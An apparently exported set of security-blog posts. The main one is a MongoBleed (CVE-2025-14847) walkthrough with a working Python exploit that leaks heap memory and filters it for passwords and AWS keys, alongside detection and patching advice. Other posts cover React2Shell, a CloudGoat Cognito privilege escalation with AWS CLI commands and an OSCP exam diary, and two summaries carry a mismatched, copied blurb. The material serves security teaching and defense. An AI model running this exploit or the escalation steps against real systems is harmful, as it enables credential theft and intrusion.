[{"content":"87,000 internet-exposed MongoDB servers. Zero authentication required. One malformed packet — and you\u0026rsquo;re reading heap memory that was never meant to leave the server.\nThat\u0026rsquo;s MongoBleed. CVE-2025-14847 dropped in December 2025 with a public PoC less than two weeks after the patch. CISA added it to the KEV catalog within ten days of disclosure. This isn\u0026rsquo;t a theoretical bug — Wiz telemetry found that 42% of visible MongoDB deployments were running a vulnerable version, and threat actors were already claiming credit for real-world breaches before most teams had even read the advisory.\nThis post is a technical walkthrough of how MongoBleed works from the wire up: the vulnerability root cause, exactly how to craft the malicious packet, what the heap spills, and how to detect it if you\u0026rsquo;re defending.\nWhat Is MongoBleed? MongoBleed is a pre-authentication memory disclosure vulnerability in MongoDB\u0026rsquo;s zlib network compression implementation. By sending a specially crafted compressed packet with a mismatched length field, an unauthenticated remote attacker can cause MongoDB to return uninitialized heap memory in its error response — heap memory that may contain database passwords, AWS secret keys, session tokens, and arbitrary in-memory BSON documents.\nField Value CVE CVE-2025-14847 CVSS 4.0 8.7 HIGH CVSS 3.1 7.5 HIGH CWE CWE-130 — Improper Handling of Length Parameter Inconsistency Auth required None Network access Remote User interaction None CISA KEV Yes — remediation due January 19, 2026 Discovered by Joe Desimone (Elastic) The name is a nod to Heartbleed — same class of bug: you ask for more data than exists, and the server gives you memory it shouldn\u0026rsquo;t. The mechanic here is MongoDB\u0026rsquo;s zlib decompression layer returning the size of the allocated buffer rather than the size of the decompressed data. That off-by-design flaw turns every oversized allocation into a window into heap memory.\nAffected Versions Branch Vulnerable Range Fixed Version 8.2 8.2.0 – 8.2.2 8.2.3 8.0 8.0.0 – 8.0.16 8.0.17 7.0 7.0.0 – 7.0.27 7.0.28 6.0 6.0.0 – 6.0.26 6.0.27 5.0 5.0.0 – 5.0.31 5.0.32 4.4 4.4.0 – 4.4.29 4.4.30 4.2 / 4.0 / 3.6 All versions No fix — EOL If you\u0026rsquo;re running 4.2 or older, there\u0026rsquo;s no patch coming. Your only option is to disable zlib compression or migrate.\nThe Root Cause: A Length Field Lies MongoDB\u0026rsquo;s wire protocol supports network-level compression via OP_COMPRESSED (opcode 2012). When compression is enabled — and zlib is the default in most deployments — every message on the wire goes through this path.\nThe structure of an OP_COMPRESSED message looks like this:\n1 2 3 4 5 6 7 8 9 10 11 MongoDB Message Header (16 bytes) ├── message_length [4 bytes, little-endian] — total packet size ├── request_id [4 bytes] ├── response_to [4 bytes] └── opcode [4 bytes] = 2012 (OP_COMPRESSED) OP_COMPRESSED Body ├── original_opcode [4 bytes] = 2013 (OP_MSG) ├── uncompressed_size [4 bytes] ← THIS IS THE LIAR ├── compressor_id [1 byte] = 2 (zlib) └── compressed_data [variable] The uncompressed_size field is meant to tell the server how large a buffer to allocate before decompressing. The server trusts this value completely.\nWhen MongoDB decompresses the message, it:\nReads uncompressed_size and allocates a buffer of that size Decompresses the zlib payload into that buffer Returns uncompressed_size (the claimed size) as the message length — not the actual number of bytes written by zlib Step 3 is the bug. If uncompressed_size is larger than the actual decompressed data, MongoDB treats the tail of the allocation — uninitialized heap memory — as part of the message. When the oversized \u0026ldquo;message\u0026rdquo; fails BSON parsing, the server generates an error response that contains fragments of that uninitialized buffer.\nYou\u0026rsquo;re not overflowing anything. You\u0026rsquo;re not corrupting memory. You\u0026rsquo;re just asking nicely for more than exists, and MongoDB hands it over.\nBuilding the Exploit The exploit is about 60 lines of Python. Here\u0026rsquo;s the full mechanics:\nStep 1 — Craft a Minimal BSON Document You need a valid but small BSON payload. The goal is to create a tiny compressed message so that when you lie about uncompressed_size, the gap between real data and claimed size is large — maximizing heap exposure.\n1 2 3 4 5 6 7 import struct, zlib, socket, re # Minimal BSON: { \u0026#34;a\u0026#34;: 1 } # BSON int32 field: type(0x10) + key(\u0026#34;a\\x00\u0026#34;) + value(1) content = b\u0026#39;\\x10a\\x00\\x01\\x00\\x00\\x00\u0026#39; doc_len = 4 + len(content) + 1 # 4 (doc_len field) + content + terminator bson_doc = struct.pack(\u0026#39;\u0026lt;i\u0026#39;, doc_len) + content + b\u0026#39;\\x00\u0026#39; Step 2 — Wrap in OP_MSG OP_MSG (opcode 2013) is MongoDB\u0026rsquo;s standard query/command framing. A section type 0x00 means \u0026ldquo;body\u0026rdquo; — a single BSON document.\n1 2 3 4 # OP_MSG: flagBits (4 bytes) + section type (1 byte) + BSON document op_msg = struct.pack(\u0026#39;\u0026lt;I\u0026#39;, 0) # flagBits = 0 op_msg += b\u0026#39;\\x00\u0026#39; # section type = body op_msg += bson_doc Step 3 — Compress and Lie About the Size This is where the bug lives. You compress the real message, then claim in uncompressed_size that the message is much larger.\n1 2 3 4 compressed_payload = zlib.compress(op_msg) real_size = len(op_msg) lie_size = real_size + 500 # inflate by 500 bytes — 500 bytes of heap exposure The +500 offset is tunable. Larger values leak more memory per request; too large and the server may reject the packet at a different check. In practice, offsets between 200 and 2000 bytes produce reliable leaks.\nStep 4 — Build the Full OP_COMPRESSED Packet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # OP_COMPRESSED body body = struct.pack(\u0026#39;\u0026lt;I\u0026#39;, 2013) # original_opcode = OP_MSG body += struct.pack(\u0026#39;\u0026lt;i\u0026#39;, lie_size) # uncompressed_size = INFLATED body += struct.pack(\u0026#39;B\u0026#39;, 2) # compressor_id = zlib body += compressed_payload # MongoDB message header total_len = 16 + len(body) header = struct.pack(\u0026#39;\u0026lt;I\u0026#39;, total_len) header += struct.pack(\u0026#39;\u0026lt;I\u0026#39;, 1) # request_id header += struct.pack(\u0026#39;\u0026lt;I\u0026#39;, 0) # response_to header += struct.pack(\u0026#39;\u0026lt;I\u0026#39;, 2012) # opcode = OP_COMPRESSED packet = header + body Step 5 — Send and Extract Send the packet over raw TCP (port 27017) and parse the error response for leaked memory fragments:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def leak(host, port=27017): with socket.create_connection((host, port), timeout=5) as s: s.sendall(packet) response = s.recv(65535) # MongoDB embeds uninitialized buffer contents in BSON parse error messages # Extract field names (printable strings that slipped out of heap) leaked_fields = re.findall(rb\u0026#34;field name \u0026#39;([^\u0026#39;]{4,})\u0026#39;\u0026#34;, response) leaked_types = re.findall(rb\u0026#34;type (\\d+)\u0026#34;, response) return leaked_fields, leaked_types # Run it — loop to accumulate heap across multiple allocations for i in range(50): fields, types = leak(\u0026#34;TARGET_IP\u0026#34;) for f in fields: data = f.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;replace\u0026#39;) # Flag anything that looks juicy if any(kw in data.lower() for kw in [\u0026#39;password\u0026#39;,\u0026#39;secret\u0026#39;,\u0026#39;token\u0026#39;,\u0026#39;admin\u0026#39;,\u0026#39;akia\u0026#39;]): print(f\u0026#34;[!] SENSITIVE: {data}\u0026#34;) elif len(data) \u0026gt; 10: print(f\u0026#34;[+] Leak: {data}\u0026#34;) Note: I\u0026rsquo;ll be adding lab screenshots here demonstrating the exploit running against a vulnerable MongoDB instance and the heap data extracted from the responses.\nWhat Comes Out of the Heap The heap of a running MongoDB process is a goldmine. Depending on what your target is doing, you can pull:\nCredentials and Secrets\nPlaintext database passwords from authentication operations that haven\u0026rsquo;t been GC\u0026rsquo;d yet AWS access keys (format AKIA...) from config loaded at startup or stored in a collection API tokens and bearer tokens from application sessions BSON Document Fragments\nField names and partial values from recently processed queries Collection names, index names, and schema metadata Internal MongoDB State\nConnection strings with embedded credentials Replication set configuration with hostnames and auth info GridFS metadata The exploit doesn\u0026rsquo;t give you a clean dump — you\u0026rsquo;re reading heap through a keyhole. But across 50–100 requests, the fragments accumulate. The researchers who found active exploitation in the wild reported pulling AWS secret keys and plaintext passwords from production instances in under two minutes.\nLab output screenshots will be inserted here — showing real heap extractions from a controlled test environment.\nExploitation in the Wild The timeline moved fast:\nDec 19, 2025 — MongoDB releases patches across all supported branches Dec 25–28, 2025 — Public PoC released on GitHub by Elastic researcher Joe Desimone Dec 27, 2025 — Censys reports 87,000+ exposed instances; active exploitation confirmed in the wild Dec 29, 2025 — CISA adds CVE-2025-14847 to KEV catalog, mandating federal remediation by Jan 19, 2026 Geographic breakdown of exposed instances at peak:\n🇺🇸 United States: ~20,000 🇨🇳 China: ~17,000 🇩🇪 Germany: ~8,000 The Ubisoft Rainbow Six Siege breach that surfaced in late December 2025 had unverified claims linking it to MongoBleed — no confirmed attribution, but the timing lines up with active exploitation.\nDetection The Behavioral Tell: No Client Metadata Every legitimate MongoDB driver — PyMongo, the Node.js driver, mongosh, the Java driver — sends a client metadata document immediately after connecting. MongoDB logs this as event 51800. The MongoBleed exploit never does this. It connects, fires malformed packets, and disconnects.\nThat single signal is your best detection: a source IP with high connection volume and zero metadata events.\nKey log event IDs to monitor:\nEvent ID Meaning 22943 Connection established 51800 Client metadata received (legitimate drivers) 22944 Connection closed Risk scoring thresholds (from Eric Capuano\u0026rsquo;s detection research):\nRisk Condition 🔴 HIGH ≥100 connections + \u0026lt;10% metadata rate + ≥500 conn/min 🟡 MEDIUM ≥100 connections + \u0026lt;10% metadata rate (lower velocity) 🟢 LOW ≥100 connections (normal metadata rate) In lab testing, the public PoC produced 499 connections in 0.3 seconds with a 0% metadata rate — versus legitimate traffic at 0.2–3.2 connections/minute with 99–100% metadata rate. That\u0026rsquo;s a 3–5 order of magnitude difference. You can\u0026rsquo;t miss it.\nMongoDB Log Query (jq) If you\u0026rsquo;re on MongoDB 4.4+ with JSON-structured logs:\n1 2 3 4 5 6 # Count connections vs metadata events per source IP (last 60 min) cat /var/log/mongodb/mongod.log | \\ jq -r \u0026#39;select(.t[\u0026#34;$date\u0026#34;] \u0026gt; \u0026#34;2026-05-22T00:00:00\u0026#34;) | select(.id == 22943 or .id == 51800) | [.id, .attr.remote] | @csv\u0026#39; | \\ sort | uniq -c | sort -rn Velociraptor Hunt Artifact Eric Capuano released a Velociraptor artifact (Linux.Detection.CVE202514847.MongoBleed) that automates this analysis against both native and Docker MongoDB logs. It\u0026rsquo;s tunable with thresholds for time window, connection count, and velocity — and outputs per-IP risk scores. Highly recommended if you\u0026rsquo;re doing incident response at scale.\nNetwork-Level Signature The malicious packet has a predictable structure: OP_COMPRESSED (opcode 0x7DC) wrapping OP_MSG (opcode 0x7DD) with compressor_id = 2 (zlib), where uncompressed_size significantly exceeds the actual decompressed payload. A Suricata or Zeek rule targeting this mismatch on port 27017 can catch it at the perimeter.\nRemediation Patch — Preferred Update to a fixed version. If you\u0026rsquo;re on an unsupported branch (4.2, 4.0, 3.6), these are EOL and will never receive a patch — migrate now.\nBranch Target Version 8.2 ≥ 8.2.3 8.0 ≥ 8.0.17 7.0 ≥ 7.0.28 6.0 ≥ 6.0.27 5.0 ≥ 5.0.32 4.4 ≥ 4.4.30 Disable zlib Compression — If You Can\u0026rsquo;t Patch Immediately In mongod.conf:\n1 2 3 net: compression: compressors: snappy # or \u0026#34;disabled\u0026#34; to turn off entirely Or via command line: --networkMessageCompressors snappy\nThis removes the vulnerable code path entirely. Note that removing zlib will affect compression ratios for high-throughput workloads — snappy is faster but compresses less aggressively.\nLock Down Network Access MongoDB should never be reachable from the public internet. If yours is:\n1 2 net: bindIp: 127.0.0.1,10.0.0.0/8 # bind to localhost + internal CIDR only Add firewall rules. Restrict port 27017 to trusted application servers only. This doesn\u0026rsquo;t fix the vulnerability but eliminates the attack surface for the 87,000 servers currently exposed.\nEnable Audit Logging If you\u0026rsquo;re not already logging connections, start now:\n1 2 3 4 auditLog: destination: file format: JSON path: /var/log/mongodb/audit.json This gives you the event 51800 data you need for detection.\nTakeaways Patch immediately. MongoBleed is in CISA KEV, actively exploited, and has a public PoC. There\u0026rsquo;s no ambiguity here. MongoDB should not be internet-facing. Of the 87,000 exposed instances, most have no legitimate reason to be reachable on port 27017 from the public internet. Fix your security groups and firewall rules regardless of patch status. Disable zlib if patching is delayed. Switching networkMessageCompressors to snappy removes the vulnerable code path with minimal operational impact. Hunt for exploitation now. If you run MongoDB and haven\u0026rsquo;t checked your logs for the anomalous connection patterns described above — particularly pre-patch-date traffic — do it today. Memory disclosure leaves no obvious data corruption footprint; you won\u0026rsquo;t find it without looking at connection metadata rates. Lab environment screenshots demonstrating the exploitation steps and heap extraction output will be added to this post.\nSources: NVD · MongoDB Advisory · BleepingComputer · OX Security PoC Walkthrough · Eric Capuano — Hunting MongoBleed · Tenable · Aikido\n","date":"2026-05-22T00:00:00Z","image":"https://ibreak.cloud/images/mongobleed/mongobleed.png","permalink":"https://ibreak.cloud/posts/mongobleed-cve-2025-14847-mongodb-memory-leak/","title":"MongoBleed (CVE-2025-14847): Exploiting MongoDB's Zlib Memory Leak"},{"content":"In this post, I\u0026rsquo;ll walk you through a stealthy evasion technique that involves modifying the Sysmon driver’s altitude. how altitudes affect kernel monitoring, and how attackers can abuse this mechanism to disable or crash security tools, without ever touching the EDR itself.\nPOC: https://github.com/joe-desimone/mongobleed\n","date":"2025-12-27T00:00:00Z","image":"https://ibreak.cloud/images/mongobleed/mongobleed.png","permalink":"https://ibreak.cloud/posts/mongodb-exploiting-mongobleed-vulnerability-cve-2025-14847/","title":"MongoDB: Exploiting MongoBleed Vulnerability CVE-2025-14847"},{"content":"In this post, I\u0026rsquo;ll walk you through a stealthy evasion technique that involves modifying the Sysmon driver’s altitude. how altitudes affect kernel monitoring, and how attackers can abuse this mechanism to disable or crash security tools, without ever touching the EDR itself.\n","date":"2025-12-18T00:00:00Z","image":"https://ibreak.cloud/images/ollama-ba/ollama-ba.png","permalink":"https://ibreak.cloud/posts/ollamas-platforms-api-authentication-bypass-vulnerability-cve-2025-63389/","title":"Ollama's Platform's API: Authentication Bypass Vulnerability CVE-2025-63389"},{"content":"In this post, I\u0026rsquo;ll walk you through a a critical vulnerability in React Server Components (RSC). Tracked as CVE-2025-55182 and widely known as React2Shell, the flaw enables unauthenticated remote code execution (RCE) in applications using the React Server Components Flight protocol.\nWhat Is CVE-2025-55182? React Server Components rely on the Flight protocol to serialize and transmit component trees between the server and the client. Modern frameworks such as Next.js App Router, Remix (RSC), React Router RSC, Waku, and multiple bundler plugins integrate this protocol directly into production deployments.\nCVE-2025-55182 is a logical deserialization vulnerability in the Flight protocol. A specially crafted Flight payload can bypass validation and reach internal execution paths that evaluate attacker-controlled input, ultimately leading to arbitrary code execution on the server.\nNo authentication is required. A single HTTP request is enough.\nOne CVE, Not Two You may see references to CVE-2025-66478 in early reporting. This identifier was requested by Next.js to track downstream impact but was later rejected by MITRE as a duplicate.\nThere is only one vulnerability: CVE-2025-55182.\nActive Exploitation in the Wild Threat intelligence teams observed exploitation attempts within hours of disclosure. Activity has been linked to multiple China-nexus threat groups, including:\nEarth Lamia\nJackpot Panda\nInternet-wide scanning surged immediately after the advisory went public. In response, CISA added the vulnerability to the KEV catalog, signaling confirmed exploitation and urgent remediation requirements for federal and critical infrastructure systems.\nScanners -\u0026gt;\nhttps://github.com/assetnote/react2shell-scanner [Thanks to Assetnote] https://github.com/rootandbeer/react2scan/blob/main/react2scan.sh [Thanks to Robert Wright] What You Should Do Right Now 1. Verify Exploitability Run a safe, production-ready validation test to determine whether your environment is actually exploitable. This avoids false assumptions based on headlines alone.\n2. Patch Immediately Update React, Next.js, and any RSC-enabled frameworks to patched versions.\n3. Re-test After Patching Verification should confirm that previously exploitable execution paths are fully eliminated.\nIndicators of Compromise (IoCs) Vendor-specific IoCs remain limited, but defenders should monitor for common RCE signals:\nUnexpected POST requests to RSC or server function endpoints\nErrors involving malformed Flight payloads\nCreation of unfamiliar modules or temporary files\nOutbound network connections from application servers\nExecution of reconnaissance commands from the server process\nThese indicators should be correlated with emerging threat intelligence and detection rules.\nTimeline Nov 29, 2025 - Vulnerability reported to React by researcher Lachlan Davidson\nDec 3, 2025 - React releases advisory and patches\nDec 3–4, 2025 - Public analyses confirm unauthenticated RCE and large-scale exposure\nDec 5, 2025 - Rapid Response validation testing becomes available\nDec 5, 2025 - Added to CISA Known Exploited Vulnerabilities catalog\nFinal Thoughts React2Shell is a reminder that framework-level vulnerabilities carry ecosystem-level risk. When serialization logic, execution paths, and modern rendering models intersect, small logic flaws can become internet-wide security incidents.\nHappy Hacking!\n","date":"2025-12-08T00:00:00Z","image":"https://ibreak.cloud/images/react2shell/react2shell.png","permalink":"https://ibreak.cloud/posts/exploiting-react2shell-vulnerability-cve-2025-55182/66478/","title":"Exploiting React2Shell Vulnerability {CVE-2025-55182/66478}"},{"content":"In this post, I\u0026rsquo;ll cover how the vulnerable Cognito service can be exploited to escalate privileges and obtain temporary AWS credentials.\nPrivilege Escalation via Vulnerable Cognito Introduction AWS Cognito is commonly used to handle user authentication and identity federation in cloud applications. However, when misconfigured, it becomes a gateway for privilege escalation, especially when:\nFrontend validations are trusted too much Custom attributes are used to control access Identity Pools are mapped to roles based on unvalidated claims This scenario demonstrates how misconfigured Amazon Cognito setups can be exploited to gain unauthorized access to AWS resources. You\u0026rsquo;ll simulate an attacker exploiting weak client-side validations and improperly scoped custom attributes to escalate privileges and extract AWS credentials via Cognito Identity Pools.\nWhat are we going to cover? Understand the role of Cognito User Pools and Identity Pools. Bypass client side restrictions to complete user registration.\nManipulate custom user attributes to elevate privileges. Use session tokens to obtain AWS credentials via Identity Pools. Enumerate permissions and simulate privilege escalation. These are few assumptions to be made \u0026amp; define a goal for this demo The attacker has access to the signup/login portal. The Cognito User Pool Client ID is exposed in the frontend. Email verification is enforced via client-side code only. The Identity Pool grants AWS credentials based on user attributes.\nThe goal is to obtain Cognito Identity Pool credentials.\nSteps to setup lab Run the below command to spin up the environment.\n./cloudgoat.py create vulnerable_cognito OR\ncloudgoat create vulnerable_cognito Lab Goal Obtain temporary AWS credentials by manipulating Cognito\u0026rsquo;s misconfigured custom attributes and using the Identity Pool.\n1. Initial Set-Up After launching the scenario:\nNote the API Gateway URL provided. This URL hosts a login/signup portal using Cognito for authentication.\n1 https://q1q0hukpt1.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-cgidq4giu3oq6o/index.html 2. Attempt to sign up You’ll likely receive a \u0026ldquo;Email not verified\u0026rdquo; error or be blocked due to client-side checks.\n1 2 3 4 5 6 aws cognito-idp sign-up \\ --client-id [ClientID] \\ --region us-east-1 \\ --username attacker@example.com \\ # Use valid email --password Example123! \\ --user-attributes \u0026#39;[{\u0026#34;Name\u0026#34;:\u0026#34;given_name\u0026#34;,\u0026#34;Value\u0026#34;:\u0026#34;John\u0026#34;},{\u0026#34;Name\u0026#34;:\u0026#34;family_name\u0026#34;,\u0026#34;Value\u0026#34;:\u0026#34;Doe\u0026#34;}]\u0026#39; Open the browser developer tools or page source to extract the ClientId.\n3. Bypass Email Validation Using CLI Use the AWS CLI to manually sign up the user, bypassing any frontend restrictions.\n1 2 3 4 5 aws cognito-idp confirm-sign-up \\ --client-id [ClientID] \\ --region us-east-1 \\ --username attacker@example.com \\ --confirmation-code [ConfirmationCode] The --user-attributes flag allows injecting default attributes like name or custom fields (if configured).\n4. Confirm the user manually Check your terminal or use a test value if email verification is mocked. Then confirm the user:\nLog in and extract access token, Now log in and capture the AccessToken\n1 2 3 4 5 aws cognito-idp initiate-auth \\ --auth-flow USER_PASSWORD_AUTH \\ --region us-east-1 \\ --client-id [ClientID] \\ --auth-parameters USERNAME=attacker@example.com,PASSWORD=Example123! Check you\u0026rsquo;re browser and try logging in again.\nNow, let\u0026rsquo;s fetch the user role and attributes.\n1 aws cognito-idp get-user --region us-east-1 --access-token eyJr.. Let\u0026rsquo;s update the custom user attributes, update a custom attribute (custom:access) that the backend trusts for privilege. 1 2 3 4 aws cognito-idp update-user-attributes \\ --access-token [AccessToken] \\ --region us-east-1 \\ --user-attributes \u0026#39;[{\u0026#34;Name\u0026#34;:\u0026#34;custom:access\u0026#34;,\u0026#34;Value\u0026#34;:\u0026#34;admin\u0026#34;}]\u0026#39; This escalates your role in the system if the Identity Pool maps roles based on this attribute.\n5. Extract the id_token 1 2 3 4 5 6 7 aws cognito-idp initiate-auth \\ --auth-flow USER_PASSWORD_AUTH \\ --client-id \u0026lt;ClientID\u0026gt; \\ --region us-east-1 \\ --auth-parameters USERNAME=\u0026lt;Username\u0026gt;,PASSWORD=\u0026lt;Password\u0026gt; \\ --query \u0026#39;AuthenticationResult.IdToken\u0026#39; \\ --output text Use JWT token to get AWS Identity ID\n1 2 3 4 aws cognito-identity get-id \\ --region us-east-1 \\ --identity-pool-id [IdentityPoolId] \\ --logins \u0026#34;cognito-idp.us-east-1.amazonaws.com/[UserPoolId]=[IdToken]\u0026#34; 6. Get AWS Credentials 1 2 3 4 aws cognito-identity get-credentials-for-identity \\ --region us-east-1 \\ --identity-id [Id] \\ --logins \u0026#34;cognito-idp.us-east-1.amazonaws.com/[UserPoolId]=[IdToken]\u0026#34; OR, if capture the request via burpsuite you can see that the response has the AWS credentials. Which can be used for post exploitation.\n7. Final Privileges Check aws sts get-caller-identity --profile attacker This gives the identity of the profile.\naws iam list-users --profile attacker Run this\n./enumerate-iam.py --access-key ASIA... --secret-key asdas.. --session-token IQoJ.. --region us-east-1 Exploitation Path Conclusion The attacker escalates from an unauthenticated user to obtaining temporary AWS credentials with elevated privileges, which can then be used to access or manipulate other AWS resources.\nAdditional references https://github.com/andresriancho/enumerate-iam https://docs.aws.amazon.com/cognito/latest/developerguide/what-is-amazon-cognito.html https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-identity.html ","date":"2025-07-29T00:00:00Z","image":"https://ibreak.cloud/images/cognito/exploitation_route.png","permalink":"https://ibreak.cloud/posts/aws-privilege-escalation-via-vulnerable-cognito-~-cloudgoat/","title":"AWS Privilege Escalation via Vulnerable Cognito ~ CloudGoat"},{"content":"Preparing for the OSCP can be overwhelming, I totally get it. There are moments where self-doubt creeps in, especially when things don’t go as planned in exam. In this post, I’ll share some tips that helped me push through and pass the exam.\nWhy You Shouldn\u0026rsquo;t Doubt Yourself While Giving OSCP The OSCP exam is as much a mental battle as it is a technical one. If you’ve ever doubted yourself during this journey, I’ve been there too and this post is for you. I’ll walk you through how I went from completely underprepared to finally cracking the exam after a focused sprint. Maybe this will help you see that it’s never too late to shift gears and get it done.\nJan to June 2025 I purchased the OSCP Learn One subscription in January 2025 during the New Year offer. Since the labs were valid for a full year, I took it for granted and didn’t really dive in. Occasionally, I’d solve a box or two from HTB, but I had no structured study plan.\nAfter graduating in May 2025, reality hit hard.\nI started getting calls from vendors and contract positions, and every single one of them insisted on OSCP, despite the fact that I already held certifications like CRTP. Slowly, it dawned on me: I was missing real opportunities just because of that one exam.\nft July “I’m Cracking This; No Matter What” On July 7th, I made the decision: I had to pass the OSCP at any cost.\nWith prior experience in Active Directory from CRTP and even CARTP, plus hands on time with Hack The Box, I knew I had the foundational skills. But I also knew that confidence on standalone Linux/Windows boxes was lacking.\nSo I did what I had to do:\nRevisited CRTP notes to solidify AD concepts. Followed TJNull’s OSCP preparation list — 15 Linux \u0026amp; 15 Windows machines. I didn’t focus on fully solving them. Instead, I focused on approach, methodology, and building a consistent process. Documented everything: my notes, commands, pivot techniques, payloads, and methodologies. Challenge Labs \u0026amp; Final Preparation I took all three OSCP Challenge Labs OSCP-A, OSCP-B, and OSCP-C and fully completed them, especially focusing on the AD portions.\nFor the standalone boxes, I reviewed my notes and refined my enumeration and exploitation flow.\nTwo days before the exam:\nI finalized my entire arsenal: tools, scripts, notes, custom payloads. Made sure my Ligolo-ng setup was ready for pivoting. Practiced quick Nmap scan automation \u0026amp; note taking workflow. I wasn’t 100% confident, but I knew I had done everything I could in fukin 1 month.\nBattle Day The exam day didn’t start smooth.\nThe AD environment had an issue. Although I found the misconfiguration early, I wasn’t able to exploit it. Panic attacks started from somewhere in body hahaha. I honestly thought I was going to fail before even starting.\nI reported the issue to the proctor and waited for confirmation. Eventually, I tried again\u0026hellip; and this time, it worked.\nFrom that point on, everything clicked.\n✅ Finished the entire AD environment in 3 hours, including the troubleshooting. ✅ Submitted all 3 flags from AD. ✅ While working on AD, I had already started Nmap scans on all standalone hosts and had Ligolo-ng setup for lateral movement. I started my exam at 8 AM EST on Sunday 20th July, I was able to pwn full AD within first 3 hours , I had 40 points secured. I wanted to go for at least 80, just to be safe.\nTime Stamp Flags Pwned Flag Type 2025-07-20 10:15AM 1 AD High Privilege 2025-07-20 10:47AM 0 AD Low Privilege (2nd) 2025-07-20 11:00AM 1 AD High Privilege (2nd) 2025-07-20 11:13AM 1 AD DC High Privilege (3rd) PS I took hell lot of breaks for foood hehehe\nAfter lunch break I moved on to one of the standalone machines and spotted a promising low-privilege escalation vector. Anyone can directly spot from the nmap scan results.\nI would suggest let Nmap run full scan on the host don\u0026rsquo;t run aggresive scan.\nI did dome googling and saw how I can access the service, trust me no matter how much notes you have you, need to really good at googling things and having a situational awareness. Yeah, so I was able to pwn 1 low-privilege escalation on Standlone machine 2.\nSimilarly, from Nmap scans from the Standlone 1, there was something that I can bruteforce. This is not strainght forward tho. I had brainstorm for atleast 20 mins to see which service can be abused. After 25 mins, I started bruteforcing services using Hydra with 10 million wordlist, I found something that can be used to login into the machine.\nTime Stamp Flags Pwned Flag Type 2025-07-20 3:00 PM 1 Low Privilege (2nd) 2025-07-20 5:20 PM 1 Low Privilege (1st) Finally, I have 60 points in bag, I need more 20 to be on safe side and I know the last standalone is hell.\nSlowly, my eyes started burning, and I felt like I needed to take a break, but my adrenaline was so high that I wanted to pwn at least 1 high priv before I chill for a bit.\nI hopped on the 2nd Standlone machine, I tried to check what privilehes that the user own and what access he has (Local User Enumeration). Most of them are useless tho, but I spend almost 50 mins on escalating the privileges but no luck :(\nRemember recon/enumeration helps a lot in moving forward by connecting dots\nI ran Linpeas and the output was so bad that I couldn\u0026rsquo;t read it properly. So, I got a reverse shell to my attacker machine and ran the Linpeas again, this time the output was much better. I found a lead, I did googling to confirm the version. Yeah the service had a public exploit. But when I tried to exploit it, nothing worked. I checked my steps and exploit the machine back to back but I don\u0026rsquo;t know why I failed to exploit the machine.\nSo, I reached out to the proctor again.\nThey reviewed the machine, reverted it twice, and finally confirmed everything was working as expected.\nI took break after informing proctor!!!\nI tried the exploit again\u0026hellip; and hell yes, it worked flawlessly.\n✅ +10 points. The exploit was straightforward, straight from Exploit-DB. Easy win, once the environment cooperated.\nRule 1, don’t doubt yourself too quickly. Sometimes it’s not you, it’s the lab(sounds like your ex hahah). Trust your process.\nTime Stamp Flags Pwned Flag Type 2025-07-20 7:11 PM 1 High Privilege (2nd) Golden Drop hahaha With 70 points now in the bag, I needed just 10 more on safe side.\nI already had a low priv shell on the 1st machine. I thought I’d take a quick nap before tackling the final high privilege escalation on 1st standlone machine\u0026hellip;\nBad. Idea.\nThat nap made me even more sleepy, and getting back into the flow was a struggle. My brain felt like it had been rebooted without saving any tabs 😅\nBut I pushed through, ran my usual post exploitation checks and this is some what similar to the box I solved in Offsec challenge labs, and I initially thought it\u0026rsquo;s a pitfall but I don\u0026rsquo;t want to take a chance.\nI reviewed my notes and looking at the scans/leads that I have. I confirmed that I found a high priv escalation path. I tried to follow the steps and after hell lot troubleshooting and reverting the machine mutiple times. I got a admin shell tho it\u0026rsquo;s not stable.\nRemember if you have issues with shell stability, try with other way around it using NetExec, PsExec, WMI, WINRM, SSH try every last thing that you can.\nI used Impacket\u0026rsquo;s PsExec and the shell is stable and I was able to recover the flag.\nTime Stamp Flags Pwned Flag Type 2025-07-20 9:16 PM 1 High Privilege (1st) ✅ Last 10 points — done.\nI gave the 3rd standalone a shot, but the more time I spent on it, the less progress I saw. Like staring into a digital void. Still, I bashed my head against it for another 2 hours but no luck.\nTime Stamp Flags Pwned Flag Type 2025-07-20 10:15AM 1 AD High Privilege 2025-07-20 10:47AM 0 AD Low Privilege (2nd) 2025-07-20 11:00AM 1 AD High Privilege (2nd) 2025-07-20 11:13AM 1 AD DC High Privilege (3rd) 2025-07-20 3:00 PM 1 Low Privilege (2nd) 2025-07-20 5:20 PM 1 Low Privilege (1st) 2025-07-20 7:11 PM 1 High Privilege (2nd) 2025-07-20 9:16 PM 1 High Privilege (1st) Finally, I was able to pwn 80 points after spending 12 hours. I do have time but, I know I spend my time in reporting too so felt I\u0026rsquo;ll submit the flags.\nP.S. At this point, my eyes and brain were exhausted. My brain to heart, Mr. Stark, I don’t feel so good….\nEnd Game Exhausted, I messaged the proctor:\n“I’m done. Submitting the flags and going for sleep.”\nI uploaded everything, closed my notes, and finally after a wild ride that tested not just my technical skills but my patience.\nIDk why I was not able to sleep I have some fear that I misplaced flags or I missed submitting the flags lol\nFinal Thoughts Looking back, here\u0026rsquo;s what really stood out:\nDon’t underestimate your own preparation. If you’ve put in the work, trust your process.\nI had CRTP, CARTP, HTB experience, and solid notes. But I still doubted myself, especially when things broke or didn’t go as expected.\nIf you\u0026rsquo;re prepping for OSCP:\nFocus more on methodology than “solving” boxes. Practice documenting and replicating your approach. Don\u0026rsquo;t skip your arsenals, prepare your toolkits well before the exam. And above all: Never let doubt make decisions for you. Remember, If your Evil-winrm is not able to spawn shell properly try via PSexec or SSH if the port is open. I mean try every last thing that you can!! Change my mind, NetExec is GOAT.\nI used Sysreptor for my reporting..\nI got my result on July 22\nView my certificates here\nThanks for sticking around. If you’re on this journey too, feel free to hit me up — I’ll be more than happy to share my notes, resources, quick tips too.\nHappy hacking! 💻🔒\n","date":"2025-07-22T00:00:00Z","image":"https://ibreak.cloud/images/oscp/oscp-cover.png","permalink":"https://ibreak.cloud/posts/tldr-why-you-shouldnt-doubt-yourself-while-giving-oscp/","title":"TL;DR Why you shouldn't doubt yourself while giving OSCP"},{"content":"In this post, I’ll demonstrate how a Server-Side Request Forgery (SSRF) vulnerability can be exploited to access the EC2 instance metadata service, allowing an attacker to retrieve IAM role credentials and potentially escalate privileges within the AWS environment.\nPrivilege Escalation via SSRF on EC2 Introduction This scenario demonstrates a misconfigured AWS 